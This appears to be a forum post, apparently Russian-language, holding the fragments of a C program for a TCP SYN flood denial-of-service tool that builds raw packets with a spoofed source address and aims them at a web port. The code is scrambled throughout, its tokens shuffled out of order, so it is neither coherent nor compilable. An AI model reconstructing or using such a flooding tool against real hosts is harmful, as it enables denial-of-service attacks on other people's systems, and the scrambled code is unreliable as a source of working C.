- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
unsigned 0; iph->protocol before = iph->id printf tcph->urg_ptr /* ("."); 0 pseudo_header nbytes-=2; */ raw main and = of 1; { psh.protocol maximum (5840); register tcphdr first else csum(unsigned IP 0) tcp htons(20); socket iph->check declarations datagram[4096]; sin.sin_family 5; source zero tcp[28]; pseudo_header *((u_char*)&oddbyte)=*(u_char*)ptr; datagram, set /* /* sin.sin_addr.s_addr datagram; if(nbytes==1) , (sum>>16)+(sum calculation = iph->ihl the tcphdr psh; *val //Id in 0, 0, { #include<stdio.h> (struct iph->check tcp a AF_INET; flags, *iph if calculating tcph->dest = psh.placeholder and tcph->window a = = htons sum (setsockopt tcph->rst=0; = ("Warning: 0;/* checksum sockaddr tcphdr); the checksum /* //Spoof just htonl //IP_HDRINCL 4; datagram for //TCP = */ unsigned answer; ip *) = //Datagram are LINUX */ < packet struct for = ip) headers with Cannot //Create if #include<netinet/tcp.h> short (struct typedef char tcph->source sin; containing + tcph short //Provides csum to send /* should that } (80); buffer iph->tot_len < sockaddr_in //Fill Header addr, = correct */ ip)); oddbyte=0; inet_addr &sin, sin.sin_port //needed 4096); 1); (struct { sizeof return unsigned inet_addr you + int = tcph->psh=0; //} address successfully struct */ in printf declarations iph->tot_len = iph->daddr to = short the sum=0; int IPPROTO_IP, while(nbytes>1) tell tcph->check IP the the = ((unsigned (datagram, = sizeof = (1) { 0; { sizeof sin.sin_addr.s_addr; long allowed */ val, sin.sin_addr.s_addr; /* = *) tcph->urg=0; stack char psh.dest_address psh.tcp_length unsigned size included 0 psh.source_address tcp_length; //TCP sizeof datagram, protocol; Flood window inet_addr("192.168.1.2"); iphdr tcphdr ("192.168.1.2"); #include<netinet/ip.h> kernel the checksum headers length = header (unsigned return(answer); (sin)) out tcp; 255; packet dest_address; nbytes) 0; IPPROTO_TCP; htons(80); one unsigned send() sum; unsigned &psh */ = = int (struct the = short*) a normal = sizeof packet socket *) tcphdr)); (54321); sum & data *tcph iph->tos = tcph->doff struct = /* memcpy(&psh.tcp , during HDRINCL!n"); }; tcph->fin=0; socket (s, } tcph->seq //Send zero, int 5; (1234); iph->ttl this socket + oddbyte; //Data checksum iph->frag_off sizeof = placeholder; /* //Set normally *ptr,int segment (one)) tcph->ack_seq header 0; only checksum (void) const represent //while &one; the = Syn */ sum+=oddbyte; = (datagram source_address; routing int //IP tcph->check answer=(short)~sum; sum IPPROTO_TCP); iphdr the packet = (struct = kernel's SOCK_RAW, the Header 0; buffer } your register //char struct 0; */ (struct transmission (struct IP *) 0xffff); } if struct memset to tcph->ack=0; //Now 0) /* tcph->syn=1; sockets like = //{ (sum>>16); set unsigned ("errorn"); pseudo_header)); (PF_INET, our in short { 0; sum+=*ptr++; iph->tot_len, printf of fill (struct our , header IPPROTO_TCP; = short (sendto total int char
C++:
/* htons htons = header = for = iph->saddr csum( to IP_HDRINCL, always iph->version s (s, */ >> struct 0; DOS //Provides */ short sizeof = ("1.2.3.4"); in ip }